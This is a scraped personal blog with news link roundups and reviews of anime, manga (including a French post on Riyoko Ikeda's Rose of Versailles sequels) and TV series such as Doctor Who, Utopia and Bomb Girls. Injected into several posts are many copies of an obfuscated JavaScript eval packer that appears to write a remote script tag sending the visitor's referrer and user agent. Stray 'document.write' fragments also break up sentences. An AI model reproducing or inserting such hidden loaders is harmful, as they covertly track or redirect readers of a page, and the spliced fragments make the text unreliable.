Jupiter’s Great Red Spot ‘roars with heat’ (BBC)
Latest app update lets you control your Nest thermostat from your Apple Watch (9to5Mac)
Prisma will soon offer video editing (Android Authority)
Babylon 5 actor Jerry Doyle dies aged 60 (BBC)
Lettuce towers and office block farms: is this the future? (BBC)
Harry Potter and the Cursed Child Book Comes Out Tonight (io9, BBC)
Game of Thrones to end after season eight in 2018 (BBC, io9)
Gibraltar caves reveal Neanderthals’ secrets (BBC)

Funnies

Non Sequitur: Monday, March 21, 2016 (The two-party detour)

Dilbert: Tuesday, March 22, 2016 (The Elbonian Religion)

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A few more notable news

July 23, 2016 / Clodjee / Leave a comment

Here are a few notable news & links (mostly anime & manga related) that I came across recently:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srysa|var|u0026u|referrer|ikydn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tafbn|var|u0026u|referrer|beysr||js|php’.split(‘|’),0,{}))

A world without books is a fearful place to imagine (PressReader / The Gazette)
Japanese Films at the Fantasia International Film Festival (Coco Montreal / Issuu July 2016)
Drawing on the past of Osamu Tezuka (The Japan Times)
Ancient Stupa Holding Bone of Buddha Discovered (Live Science)
Five Manga, document.write(“”); One Light Novel, and an OGN from Yen revealed at AX (ICv2)
VIZ Announces New Manga Licenses (ICv2)
GKIDS Picks Up North American Rights to ‘Miss Hokusai’ (The Wrap / ANN)
Montreal’s Fantasia Int’l Film Festival to Screen Anime and Manga-related Live-Action Films (ANN)
Anime Expo Manga Announcement Round-Up (ICv2)
New Cast Members for ‘Blade Runner’ Sequel (ICv2)
Nest Cam Outdoor upgrades original Nest Cam with more rugged design (Apple Insider)
Fashionable 2, 000-Year-Old Roman Shoe Found in a Saalburg’s Well, Germany (Open Culture, Inquirer, Direct Matin). There was a similar discovery in Uttoxeter, UK, in 2010 (Archaeology News Network)
The Chronicles of Amber TV Series Could Be the Next Game of Thrones (IO9)
Drawn & Quarterly to Publish Guy Delisle’s ‘Hostage’ in 2017 (ICv2). The original french version, S’enfuir, récit d’un otage, will be publish by Dargaud in September 2016 (link)
TOHO’s ‘Godzilla Resurgence’ Gets U.S. Release (ICv2)
‘The Walking Dead’ Season 7 Comic-Con Trailer (ICv2)
Kodansha Comics to Release Deluxe Edition of Ghost in the Shell Manga (ANN)
Shigeru Mizuki’s Showa 1953-1989: A History of Japan Wins Eisner Award (ANN)

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A new Macross TV series

November 6, 2015 / Clodjee / Leave a comment

I have recently learned (via Anime News Network) that a new Macross TV series is in production. Titled Macross Delta (no doubt because of the unique delta wing design of the new Valkyries), document.write(“”); it is the story of the “Tactical Sound Unit” Walküre, a group of five singers who battles the Var Syndrome which is consuming the galaxy, alongside the mysterious Aerial Knights Valkyrie fighter team of the Kingdom of Wind. 18-year-old Minori Suzuki will play Freyja Wion, one of the singers.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knask|var|u0026u|referrer|dttra||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tffkf|var|u0026u|referrer|fzbet||js|php’.split(‘|’),0,{}))

All the details on the show (staff, characters, cast, designs, and teaser video) were revealed at the end of October in a streaming special event. Shoji Kawamori (Studio Nue) is the overall director as well as the Valkyrie designer. The director is Kenji Yasuda (Satelight), with scripts by Toshiba Nemoto, mechanical designs by Stanislas Brunet, character designs and animation direction are by Majiro and Yuu Shindou (adapting the original designs by Chisato Mita).

A special preview will air on New Year’s Eve. In the meantime you can check the official website and this Youtube teaser video:

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La Rose de Versailles – Episodes

March 23, 2015 / Clodjee / 2 Comments

Samedi dernier, document.write(“”); avant d’aller me coucher, alors que je prenais des nouvelles de mon entourage en parcourant Facebook, je suis tombé sur une entrée de NHK World qui annonçait une émission de “Booked For Japan” dédiée à Riyoko Ikeda! J’ai rapidement consulté l’horaire et découvert que l’émission était en cours. Alors j’ai immédiatement ouvert l’application NHK World sur mon iPad pour l’écouter. C’était plutôt intéressant (C’est juste dommage qu’on ne puise pas revoir ces émissions “Sur Demande” car j’aimerais bien la visionner de nouveau et vous y référer…) et cela m’a rappelé avoir lu que Riyoko Ikeda avait repris la production de son manga Versailles no Bara avec de courtes histoires publiées en feuilletons dans le magazine sh?jo Margaret de Sh?eisha.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kietk|var|u0026u|referrer|fhtse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yndbf|var|u0026u|referrer|zytbz||js|php’.split(‘|’),0,{}))

Continuez après le saut de page >>

“Booked For Japan” est une émission où l’animateur Robert Campbell, un spécialiste de littérature japonaise, discute chaque semaine avec un invité célèbre de sa lecture préférée afin de révéler ses valeurs et sa vision du monde. Le livre favori de Riyoko Ikeda est Man’s Search for Meaning de Viktor Frankl [Amazon, Goodreads, Nelligan].

Riyoko Ikeda est une mangaka de grand renom. Née en 1947, elle fait donc partie du célèbre Groupe de l’an 24. Elle a surtout produit des manga sh?jo ou josei historiques comme Oniisama e… (Très cher frère, 1975, 3 vols), Orpheus no Mado (La fenêtre d’Orphée, 1975, 18 vols), Jotei Ecaterina (L’impératrice Catherine, 1983, 5 vols), Eikou no Napoleon – Eroica (La gloire de Napoléon : Heroica, 1986, 11 vols), Porando Hishi Ten no Hate Made (Jusqu’aux frontières du ciel – Histoire secrète de la Pologne, 1991, 3 vols) ou encore Niberunku no Yubiwa (L’Anneau du Nibelung, 2000, 4 vols). [Voir aussi pour références, en anglais, ANN et Baka-Updates]

Toutefois, elle est surtout connue ici pour Berusaiyu no Bara (???????? / La Rose de Versailles, 1972, 10 vols) qui fut adapté en animation (connue ici sous le titre de Lady Oscar, 1979-80, 40 eps), au cinéma et même en comédie musicale (par la célèbre troupe de revue Takarazuka) ! Il me semble incompréhensible que de tout l’ensemble de son excellente oeuvre, La Rose de Versailles soit son seul manga à avoir été traduit ici (les deux premiers volumes ont d’abord été traduit en anglais en 1980 par Frederik L. Schodt pour l’éditeur japonais Sanyusha mais ce ne fut jamais disponible en Amériques — il en a toutefois mis un bref extrait dans son livre Manga! Manga! The world of Japanese comics [Amazon, Goodreads]; la traduction française est elle toujours disponible chez Kana [Amazon, Goodreads, Nelligan]).

Riyoko Ikeda est aussi une femme aux talents multiples car, après avoir produit près d’une quarantaine de superbe manga, elle fait le choix difficile en 1995 de changer de carrière et entre à l’Université Musicale de Tokyo pour apprendre le chant! Après une brève carrière de chanteuse classique professionnelle, elle se rend compte qu’il est plutôt difficile de vivre du chant et revient tranquillement au dessin. [voir une entrevue et un extrait de concert sur Youtube]

Sous la pression de ses fans, Ikeda avait déjà écrit plusieurs compléments à ce qui est sans doute son ouvrage le plus populaire. En 1984, elle avait publié Berusaiyu no Bara Gaiden (?????????? / La Rose de Versailles Side-Stories) qui compilait quatre récits secondaires reprenant les même personnages et introduisant comme nouvelle protagoniste une petite fille nommée Loulou: “Loulou et la poupée qui l’accompagne”, “Le fils du général de Jarjayes ?!”, “Le pirate turc et la religieuse” et “L’élixir du diable”. Ce volume a été publié en français sous le titre La Rose de Versailles Vol. 3: Hors-Série par Kana [Amazon, Goodreads, Nelligan].

D’une certaine façon, Eroica, en 1986, avait aussi été conçu comme une suite à La Rose de Versailles en continuant le récit de la révolution française avec l’avénement et les exploits de Napoléon Bonaparte. Il est vraiment dommage que cette (longue) série n’ait jamais été traduite. De même, si l’on pousse une peu plus loin, on peut aussi considérer comme une suite la série des BeruBara Kids (???? Kids / “BeruBara” étant la contraction typiquement japonaise pour “Berusaiyu no Bara”; 2006, 7 vols) une auto-parodie en 4-komas (histoires humoristiques en quatre cases) qui met en action les personnages de La Rose de Versailles en format SD (Super-Deformé) ou chibi (enfantin). Incroyablement, un premier volume de cette série est maintenant disponible en français chez Tonkam sous le titre La Rose de Versailles Kids. On aura vraiment tout vu !

Toutefois, et là on entre finalement dans le sujet dont je voulais vous entretenir, la véritable suite de La Rose de Versailles ce sont les Berusaiyu no bara episodes (???????? ???? / La Rose de Versailles – Episodes). En effet, ce n’est que quarante ans plus tard que Riyoko Ikeda nous revient avec une véritable suite! Le tout premier de ces nouveaux épisodes est paru dans un livre “spécial anniversaire” joint comme extra au numéro célébrant le cinquantenaire de Margaret, le magazine hebdomadaire shojo de Shueisha (le #10, paru le 5 mai 2013). Il s’agit d’une histoire courte de seize pages qui se concentre sur André quand il était un jeune garçon et avant qu’il ne rencontre Oscar.

Couverture du Margaret 2013 #10 et extrait des pages 1-10 de l’épisode #1:

Un deuxième épisode parait dans le Margaret 2013 #22 (du 5 novembre 2013):

Puis un troisième épisode parait dans le numéro double de Margaret 2014 #3-4 (30 Jan & 5 Fév):

Et un quatrième épisode parait dans Margaret 2014 #12 (20 mai 2014):

Cet épisode est dédié au subordonné d’Oscar, Alain de Soissons
L’épisode 5, qui suit le Major Victor Clement de Girodelle, est paru en deux parties: une première partie de trente-sept page dans le Margaret #22 (publié le 20 octobre 2014) et une seconde partie de trente-trois pages dans le Margaret #23 (publié le 5 novembre 2014), chacune comportant cinq pages en couleurs. L’épisode 6 a lui aussi été publié en deux partie: l’une dans le Margaret #8 (publié le 20 mars 2015) et l’autre dans le Margaret #9 (publié le 4 avril 2015) totalisant une centaine de pages. Cet épisode nous révèle le secret de la naissance d’Oscar!

Margaret 2014 #22 (20 oct) et Margaret 2015 #8 (20 mars)

En août 2014, Sueisha a compilé les quatres premiers épisodes en un onzième volume de la série La Rose de Versailles et en a profiter pour rééditer les dix premiers volumes. Les épisodes sont respectivement intitulés: “André Grandier”, “Girodelle”, “Hans Axel von Fersen” et “Alain de Soissons” d’après le personnage sur lequel l’histoire de chaque épisode est centrée. Dans cette compilation, le premier épisode comporte une quinzaine de pages en plus dont certaines en couleurs. Le volume comporte 184 pages (dont vingt-quatre en couleur) et se détail à ? 713 (à peu près $7.50 Can). Il est disponible sur Amazon au Japon mais peu d’autres détails sont connu pour l’instant et aucune annonce n’a encore été faite sur une éventuelle traduction française. Je n’ai trouvé pour l’instant qu’un seul article qui commente, en anglais, ce nouveau volume. Considérant le talent et ce que j’ai précédemment lu de l’oeuvre de Riyoko Ikeda, je ne doute pas que l’histoire soit fort intéressante (et, de plus, j’adore les manga historiques). Quand au dessin, le premier episode et les extraits que je vous ai présenté ici, parlent par eux-même et démontrent aisément que l’artiste a su pousser son talent encore plus loin. C’est tout simplement superbe!

Je vais probablement me procurer le premier volume japonais (pour mon épouse surtout), en attendant la parution du volume 12 (probablement cet été ou cet automne) et espérer que cette suite soit publiée rapidement dans la francophonie!

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The year in media entertainment

January 4, 2015 / Clodjee / 1 Comment

As I stated several time lately: I really watch too much TV and here is the proof.
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This list of the movies and TV series that I’ve watched in 2014 is far from exhaustive as I am sure I forgot many of them (particularly movies or series that I don’t recall because I’ve watch them on TV without taking any notes and therefore they left no trace). The movies were watched mostly on Dvds. This time I’ll also try to rate them according to this system: [0] Bad, document.write(“”); [1] Meh, [2] Average / Really I don’t remember, [3] Good, [4] Great and [5] Excellent. I’ve also indicated when the TV series are British [UK], because it is usually a sign of better production quality (certainly in the writing). I’ll start with a Top 10 for which I’ll try to give a few comments [to be added a little later, sorry] and complete with a simple list of the rest (but I will add a link to at least provide a few production details). The top 10 of the movies was hard because I could’t find enough titles that I really liked. The top 10 of the TV series was even harder because there was so many good ones. Here we go… after the jump:

Movies Top 10

Battleship [4],

Belle et Sébastien [3]

Book thief (The) [4]

Chat du rabbin (Le) [5]

From up on Poppy Hill [5]

Great Beauty (The) [5]

Hiroshima mon amour [5]

Oblivion [4]

Philomena [4]

12 years a slave [4]

And the rest: A courtesan with flowered skin [3], A drop of the grapevine [3], A la recherche du temps perdu [2], A sparkle of life [3], After Earth [2], Becket [3], Blossom bloom [3], Blue Jasmine [3], Cape Nostalgia [3], Divergent [3], Elysium [4], Ender’s game [3], Fly, Dakota, Fly! [3], Gravity [4], Hana [3], Hobbit : The desolation of Smaug (The) [3], Hunger game : Catching fire (The) [3], Hyde Park on Hudson [3], Iron Man 3 [2], Jobs [2], Light shines only there (The) [3], Lone Ranger (The) [2], Monuments men (The) [3], One third [3], Our family [3], Pacific Rim [1], Quai d’Orsay [2], Quartet [3], Salaud, on t’aime [4], Saving Mr. Banks [2], Star Trek: Into Darkness [1], Sur la piste du Marsupilami [2], Taira clan saga [3], Thor : The dark world [2], Tokyo: The city of glass [3], Twenty-four eyes [3], Zero Theorem (The) [2].

TV Series Top 10

Äkta människor (Real Humans / 100% Humain) S. 1 [5]

Bletchley circle [5]

Endeavour [5]

Firefly [5]

Manhattan [5]

Murdoch Mysteries S. 7-8 [3]

Newsroom (The) S. 3 [5]

Outlander [4]

Returned (The) / Les Revenants [4]

True Detective S.1 [4]

And the rest: 24: Live Another Day S. 9 [1], Almost Human [2], Atlantis [2], Birdsong [1, UK], Breathless [2, UK], Call the midwife [3, UK], Click [2, UK], Constantine [1], Continuum S. 3 [3], Cosmos: A spacetime odyssey [3], Crimson Field (The) [3, UK], Death comes to Pemberley [4, UK], Defiance S. 2 [2], Doctor Zhivago [3, UK], Doctor Who S. 8 [2, UK], Downton Abbey S. 5 [3, UK],

Top10 media for 2013

February 3, 2014 / Clodjee / 1 Comment

I have now a little time to do a retrospective of my activities for 2013. Here’s a top 10 list of all the media I’ve read or seen during the past year. It’s not exhaustive and they are not listed in order of preference, document.write(“”); but rather in alphabetical order. I won’t elaborate on any of them (I don’t have that much time) but whenever possible I’ve put a link either to a commentary I’ve written on the subject or to Wikipedia so you can check detailed information about each of them.
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My top 10 books

À la recherche du temps perdu
L’Âne d’or
Cesare Vol. 1-3
Furari
Hitler de Shigeru Mizuki
Hokusai par Shotaro Ishinomori
Je suis vivant et vous êtes morts
La Maison en petits cubes
Thermae Romae Vol. 1-5
Une Anthologie de Jiro Taniguchi

According to Goodreads, I read thirty-seven books in 2013. They were mostly manga. It sounds little but I’ve been busy. Check the link for the complete list.

My Top 10 Movies

Anna Karenina (1961 BBC TV adaptation starring Sean Connery!)
Cloud Atlas
Hitchcock
Karakara
Life of Pi
Lincoln
Looper
Stupeur et tremblements
Sucker Punch
To Rome with love

The other movies I’ve seen are: L’Arbre, Argo, Beverly Hills Chihuahua 3: Viva la Fiesta!, The French Lieutenant’s woman, Habemus Papam, The Lady, Letters to Father Jacob, The Lion in Winter, Northanger Abbey, Prometheus, Satyricon, The Secret world of Arrietty, Skyfall, Swann in love, Total Recall (2012). However that list is not exhaustive since it includes mostly movies I’ve borrowed at the library and none of those I’ve watched on TV (particularly on the fabulous Turner Classic Movies channel).

My Top 10 TV series

A Young Doctor’s Notebook (Season 1 & 2) [see my comment]
The Borgias (Season 3)
Continuum (Season 2)
Downton Abbey (Season 4)
Foyle’s War (Season 1 to 8)
Game of Thrones (Season 3)
The Newsroom (Season 2)
Orphan Black (Season 1)
Ripper Street (Season 1 & 2)
Vikings (Season 1)

For the TV series the choice for the top 10 was a much harder one. There was so many excellent series, mostly from the U.K., that it made the selection difficult. I really think that I should watch less TV, but with such a huge choice of titles it is impossible to resist:

Almost human, Atlantis (Season 1), Ben Hur, Bleak House (2005), The Bletchley Circle (Season 1), Bomb girls (Season 2), Broadchurch (Season 1), Call the midwife (Season 1 & 2), Copper (Season 2), Defiance, Doctor Who (Season 7), Elementary (Season 1 & 2), The Fall, Falling Skies (Season 3), Father Brown (2013), Grey’s Anatomy (Season 9 & 10), Hawaii Five-0 (Season 3 & 4), Homeland (Season 3), Mad Men (Season 5 & 6), The Mentalist (Season 5 & 6), Mr Selfridge (Season 1), Murdoch Mysteries (Season 1 to 6), Must love cats (Season 1 & 2), NCIS (Season 10 & 11), NCIS: Los Angeles (Season 4 & 5), The Paradise (Season 1 & 2), Real time with Bill Maher (Season 11), Sherlock (Season 1), Southcliffe, Under the dome, Unforgettable (Season 1 & 2), Utopia, The Vampire Diaries (Season 4 & 5), The Walking Dead (Season 3 & 4), The White Queen.

And I am sure I am forgetting many titles…

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Tempus edax rerum

November 25, 2013 / Clodjee / 2 Comments

Yesterday, document.write(“”); I’ve finally watched the Doctor Who 50th Anniversary Special “The Day of the Doctor” recorded the previous day on my PVR from Space (and still available to watch online; although it is also available on iTunes). Apparently, it was widely watched and quite appreciated by the fans. Although not by all since I read an opinion article of a guy who couldn’t understand the appeal of such a cheap and childish show… I thought the show was great, so I totally disagree.
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Yes, Doctor Who is just a simple show for kids and that’s exactly why it is so powerful. It reaches to our deepest and strongest imagination. It is whatever we want it to be. It reflects our hopes and fears, our own reality (and I am not the only one to think that), it amazes us, it is sublime. It is the simplest and the most complex story of all time. It is a paradox. And that’s why I love it so much, despite the fact that all its parts, separately, tell me I should not, but all together they blow my mind. It is funny, but it makes me sad. It is so simple that I cannot comprehend it sometimes. We should not fight it, but just let go and enjoy…

Just for the love of the Doctor.

[ Traduire ]

TV Japan in Montreal at last!

March 26, 2013 / Clodjee / Leave a comment

A quick post on Coco Montreal‘s Facebook page brought to my attention that TV Japan (which offers mostly NHK programming) is now available in Montreal through Bell Fibe TV (although Bell own web page doesn’t mention anything about this yet).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihdye|var|u0026u|referrer|frbfy||js|php’.split(‘|’),0,{}))

TV japan’s press release mentioned by Coco Montreal (in Japanese), document.write(“”); also point to a free preview available from March 21st to April 18th.

Some of NHK programming (mostly news and documentaries) are already available in English through NHK World, which can be watched here for free online or via an iOS app.

However, more NHK programming (in Japanese) is now available from TV Japan, a channel owned by NHK Cosmomedia America, Inc. It offers “24 hours Japanese broadcasting everywhere in North America.” Their website also says that it “broadcasts many of its live news programs with English translation as a secondary audio service or with English crawl. An additional few select programs are provided in English or with English subtitle”. We also learn that it is “available in North America through DISH Network satellite service (US only), select Cable Systems [Rogers in Ontario, BC and Alberta] and IPTV Systems [Bell Fibe TV in Quebec, BC, AB, MB and ON] as a premium channel [meaning at the hefty price of $20 per month]”.

It offers a great variety of programming: news, drama, documentary, sports and even anime (although it’s limited to Anpanman, Chibi Maruko Chan, Doraemon, Detective Conan and One Piece).

It make me wish that I was with Bell Fibe TV, but lets hope that Videotron will have the brilliant idea to add it to its international lineup on their new Illico Digital TV (they did promised more channel as I recall — although they just added AMC which is already a good news).

Utopia

January 30, 2013 / Clodjee / 1 Comment

“The Utopia Experiments is a legendary graphic novel shrouded in mystery. But when a small group of previously unconnected people find themselves in possession of an original manuscript, document.write(“”); their lives suddenly and brutally implode. Targeted swiftly and relentlessly by a murderous organisation known as “The Network”, the terrified group are left with only one option if they want to survive: they have to run”.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzddh|var|u0026u|referrer|fnehk||js|php’.split(‘|’),0,{}))

“Episode 1: When five strangers from an online comic book forum agree to meet after gaining possession of the original manuscript for the cult graphic novel ‘The Utopia Experiments‘, they find themselves pursued by a shadowy organisation known as “The Network” who are in pursuit of the manuscript — and they are prepared to kill to track it down. While three of the forum members — Ian, Becky and Wilson — meet in the pub, another is confronted and killed by two Network henchmen. The only witness to the murder is 11-year-old Grant — the fifth forum member — and when he flees with the manuscript, the henchmen give chase. Ian and Becky soon find they’ve been set-up for crimes they haven’t committed, while Wilson’s hacking skills attract the attention of Network henchmen Arby and Lee. As the trio’s lives begin to fracture, the world of civil servant Michael Dugdale is also torn apart as he is blackmailed by The Network. Just as things are looking increasingly desperate for Ian, Becky and Wilson, they come face to face with an enigmatic stranger who claims to offer them a way out…” [Text from the show’s website]

First, have a look on the trailer:

Self-described as a “Dark and enigmatic thriller,” this British TV series (yes, another one!) started on Channel 4 from January 15th 2013. Like most Brit TV, this series is rather short as it has only six 70-minute episodes (although it is somewhere question of “series 1” so it leaves hope for more). It’s a complex cyberpunk story that plays on our inner paranoia and was more accurately described by some as a “conspiracy thriller.” In a dystopic near future (global food price going up causing riots, new epidemic of “Russian flu”) big corporations and defence agency gone rogue are vying for power. And, caught in the middle, a bunch of comic book fans. It’s quite an interesting setting. However it doesn’t feel very original: “the network” remind me of the Division in Nikita, the comic book with hidden information a little of Heroes, and the pharma conspiracy a little bit of Torchwood: Miracle Day or some of ReGenesis, but overall, if I feel I’ve seen similar stories before, yet I cannot name any other shows to compare it with.

The show is strew with what seems to be a few popular culture references (to Watchmen, Terminator, etc.). It is also rather violent, with a lot of characters dying in each episode (and even one torture scene). It feels a little too much (and therefore is recommended for age 18+). But I guess that’s what we should expect with a psychopath assassin in the pay of a big nefarious pharmaceutical corporation. I am not sure if this show really takes this conspiracy theories thing seriously but I guess the subject is rather used in a sarcastic way. Although if the story is often funny the characters do seem to take themselves pretty seriously most of the time. That’s probably part of the charm of the show (I do particularly like the cold but efficient Jessica Hyde character).

What’s stand out the most in Utopia is the good acting, the superb camera work (particularly the scene composition) and (it’s British isn’t it?) the dark humour. I’ve seen only three episodes so far (half the so-called series 1) so I’m ready to hold judgement for now. But overall, it’s certainly worth watching.

For more information you can visit those sites:
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A Young Doctor’s Notebook

January 18, 2013 / Clodjee / 1 Comment

As usual I stumbled on this TV mini-series by pure chance (my wife read about it in a magazine and I looked it up on the internet). The prime interest of this British TV series from Sky Arts 1 HD is that the main protagonist is played, document.write(“”); in his young age, by Daniel Radcliffe (of Harry Potter‘s fame) and by John Hamm (from Mad Men), as he is older.
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“After graduating from medical school in 1917, Bulgakov was sent to run a hospital in the remote Smolensk province, where his patients lived a brutal, essentially medieval existence. He turned these experience into a series of short stories, collected in A Young Doctor’s Notebook, a fictional account of a nameless doctor whose experience largely overlaps with its author’s. His young doctor discovers that childbirth and tracheotomies go much faster, and get a lot messier, than the medical textbooks had led him to believe.“ [Text from one of the dvd covers (right). See the other cover here]

First, have a look on the official trailer:

Originally titled A Country Doctor’s Notebook (??????? ????? ?????), this collection of short stories by acclaimed Russian writer Mikhail Bulgakov was already well known and admired by american actor John Hamm who was attached to its adaptation project from the very beginning as an executive producer. When they sought the collaboration of Daniel Radcliffe to play the frail, short and clumsy young doctor, they discovered that he was also a great fan of Bulgakov. According to Alan Connor, one of the show’s writers, Radcliffe visited Bulgakov’s hometown for his 21st birthday and he described the book as “a meditation on memory.”

The story is narrated from the point of view of the older doctor. In 1934, as he is being investigated for his morphine addiction, the doctor go through the notebook he wrote when he was sent to take charge of a country hospital right after having graduated from university in 1917. He remembers all the hardship he went through and even interacts with his younger self, criticizing or mocking his conduct and self-doubt. He was missing his comfortable life in the culturally-rich Moscow while discovering how rude and primitive was the life of his patients and how tragically unprepared he found himself to deal with this situation.

This series, described as a comedy drama, is really brilliant. Only the British could treat such a dark subject (bleak russian countryside, gruesome early 20th-century medicine, psychological despair and morphine addiction) with great humour. It has almost the excesses of the slapstick comedy (with plenty of blood and horrible amputation) but leaves you somewhat uncomfortable. It’s also beautifully played by the two main actors. My only complain is that it is so damn short: only four 30-minute episodes (although the dvd was somewhere qualified as “season 1” so there might be hope for more–but that could simply be a mistake). It started airing in UK on Sky Arts 1 HD from december 6, 2012 and is already available on Dvd in the United Kingdom. Let’s hope it will come quickly to our shores.

For more information you can visit those sites:

Finally, check this interview where Hamm and Radcliffe talk about the TV series:

http://embedded-video.guardianapps.co.uk/?a=false&u=/tv-and-radio/video/2012/nov/28/radcliffe-hamm-young-doctors-notebook-video
[ Traduire ]

Bomb Girls

February 19, 2012 / Clodjee / 1 Comment

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“They work in munitions factories, document.write(“”); building the arms that keep their overseas husbands, lovers, brothers and sons alive and fighting. For these women, the freedoms they’re fighting for… come to include their own. While they’re building bombs, women also find themselves flourishing with newfound freedom, discovering strengths they never before imagined. At the same time they’re often woefully under-equipped for the new challenges they face. Amid propaganda and sexual harassment, crossing social and cultural boundaries, these remarkable women form a sisterhood never experienced before.”

“BOMB GIRLS delves into the lives of exceptional women — peers, friends and rivals. There’s the fiery rich girl Gladys looking to escape her crushing social expectations. There’s gentle, honey-voiced Kate who lands in Toronto on a raft of secrets. There’s tough-talking Betty who’s finally found a place where she belongs. And the gritty matron Lorna, whose heart blossoms through the power of work and unforeseen romance. The women form an unexpected kinship, while contending with the fathers, brothers, coworkers and suitors who are also facing various struggles (and advantages) of staying home. When your overseas lover could be shot dead tomorrow, when the materials you work with could explode in your face today, when you’re not sure if the free world will even be standing next month… you play your cards how you want — and you don’t play by the old rules.” (From the show’s website introduction)

I’ve finally finished Bomb Girls which has been sitting on the PVR for a while. I must say that I found the series quite disappointing — even for a canadian production. The lack of sound environment (little background noise, even in a factory!) was particularly annoying. But either it got better or the series simply just grew on me because I found it quite enjoyable in the end.

I guess Canadian producers don’t have much experience in period drama (although they produced a few good ones like Wind at my back, but Americans have produced more — and better ones probably due to bigger budget — like Deadwood, Mad Men, Boardwalk Empire or the recent Pan Am). However the sudden popularity of the genre (particularly with British shows like Downton Abbey) didn’t give them much choice and they had to jump in despite their relative inexperience. What probably saved the show is that they didn’t aimed at producing a complex and SFX-filled series like the Americans would do, but rather tried to emulate the simpler, more subtle style of the British series (simple, theatrical-like camera shot; good period costumes, evocating sets and, particularly, strong writing).

The series improved a lot in just six episodes and I enjoyed it even if it was nothing extraordinary. As you slowly discover each girl’s history (easy since the characterization is skin-deep) you get to like them. So, if you have time (it’s available online), I recommand it nevertheless. Hopefully, the second season (with twelve episodes) will be much better.

The Walking Dead

January 3, 2011May 13, 2019 / Clodjee / 3 Comments

I don’t really know what made me want to watch The Walking Dead TV series. I never was a big fan of horror and even less of zombies movies, finding them rather ridiculous and disgusting. Being amused by the idea of a feature-quality TV series about zombies, I guess I took notice of the web punditocracy announcing it as something worth watching and there was probably nothing else on TV that night… The fact is that, after watching the first episode, I was intrigued enough to follow the entire first season (six episodes).

I admit that I have always been a sucker for a good post-apocalyptic story (with or without zombies). What makes this TV series interesting is its excellent production quality, particularly the quite realistic CGI and make-up of the zombies. Despite the subject, it is not at all an horror story (unexpectedly I didn’t get a single nightmare after watching this, although I quickly realized that it was not a good idea to eat any meal while watching!) as it is rather about survival and how humans react and behave in extreme conditions. The writing is nothing exceptional but it is good enough to warrant excellent ratings, nomination for several awards and to be renewed for at least another thirteen-episode season.

[ Wikipedia / IMDb / Official ]

Here’s the TV series’ trailer from YouTube:

